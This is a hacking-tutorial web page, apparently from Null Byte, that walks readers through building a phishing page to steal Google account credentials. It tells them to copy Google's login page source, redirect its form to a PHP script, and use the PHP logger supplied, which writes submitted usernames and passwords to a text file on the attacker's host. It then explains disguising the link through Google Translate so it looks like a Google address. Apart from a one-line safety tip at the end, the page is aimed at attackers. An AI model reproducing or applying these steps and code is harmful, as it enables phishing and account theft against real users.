Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator Exploit « Null Byte :: WonderHowTo

Google is our friend, but it still has its flaws as everything tends to. A little known flaw within the media giant allows phishing to take place on Google accounts that would completely bypass advanced web protection programs in user's browsers—as well as other protections that have been put in place by Google. How would it do this? The domain will read as if it is through Google itself.It also plays on human psychology, because the domain appears to be a trusted one that you would visit rather regularly. This kind of phishing allows people to steal credentials in plain-text, and by using this method, said hackers likely do so without anyone realizing.RequirementsA webhosting accountCpanel access to the webhostStep1Create a Gmail Phishing PageFirst, we need to make a phishing page to prepare.Open up a text document using notepad, or your choice in text editors.Go to the Googlelogin page.Right-click somewhere on the page, and clickView page source.Copy all of the contents of the source code and paste them into your text document.Hitctrl + f, and search for "action=" and change the method to "GET", and the text to the right of "action=" to "log.php".ClickFile > Save asand save it with the name "index.php" (make sure to click the drop-down menu to select "all files" if it's not selected already).Make a new text file, and paste the below as the contents (paste the raw text, not the numbered). This is the file written in PHP that logs the victim's login details.<?php$handle = fopen("passwords.txt", "a");foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>Save the file as "log.php". Again, make sure "all files" is selected in the file type drop-down menu.Log in to your hosting account, and upload both files to the root of your website (not in a folder).When credentials are logged, they will be in a file called "passwords.txt" in the root of your website. Check the box next to the "passwords.txt" file when you get some logs, and clickchmod. Change the file to 466 permissions, so other people can't read the victim's passwords.Step2Manipulating GoogleHow exactly does the manipulation work behind this?Google Translator. Google translator has a vulnerability that if an attacker creates a fake gmail login page and then translates it with the tool, they would get a perfectly crafted link masked by Google itself. Check out thisURLfor an example of a phishing page that was created and then masked after using the translation tool.This fools users into thinking the page is legit. I mean, look at the URL:Go toGoogle translate.Translate your page from a different language into English.Click the link and test.See how frighteningly easy it is to manipulate a website even as large as Google? Keep safe byalwaysanalyzing that URL.Want more Null Byte?Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viakyrionRelatedHack Like a Pro:The Ultimate Social Engineering HackHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Translate Webpages in Safari on Your iPhoneHow To:Instantly Translate Foreign Text from Within Any App on Your HTC OneSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Use Social Engineering to Hack ComputersHow To:Turn Your iPhone into a Real-Time InterpreterWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Sneak Past Web Filters and Proxy Blockers with Google TranslateListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)How To:The Official Google+ Insider's Guide IndexNews:Google social web engineer Joseph Smarr talks about lessons from Google+How To:Download Your Data with Google TakeoutHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordSocial Engineering, Part 1:Scoring a Free Cell PhoneXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemNews:Was Google Reader Already a Great Google Social Network?How To:Edit Your Google+ Account SettingsHow To:Score Free Game Product Keys with Social EngineeringNews:Google+ Pro Tips Weekly Round Up: Google Cleans UpHow To:Sync Your Google+ Posts with Facebook and TwitterNews:Should Kids Be Allowed to Use Facebook and Google+?Google+ Pro Tips Round Up:Week 7News:Top 13 Google Insiders to Follow on Google+News:22 Google Chrome Extensions to Make Google+ Even BetterNews:Google+ Pro Tips Weekly Round Up: Google+ Is GoogleNews:Should Google+ Require You to Use Your Real Name?News:Google+ to Support Pseudonyms, Google Apps & MoreNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Search for Google+ Posts & Profiles with GoogleThe Social Network Wars:Google+ vs FacebookNews:Live Social EngineeringHow To:Proof of Social Engineering Success!News:Google Acquires Group Social Networking Site FridgeRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the Internet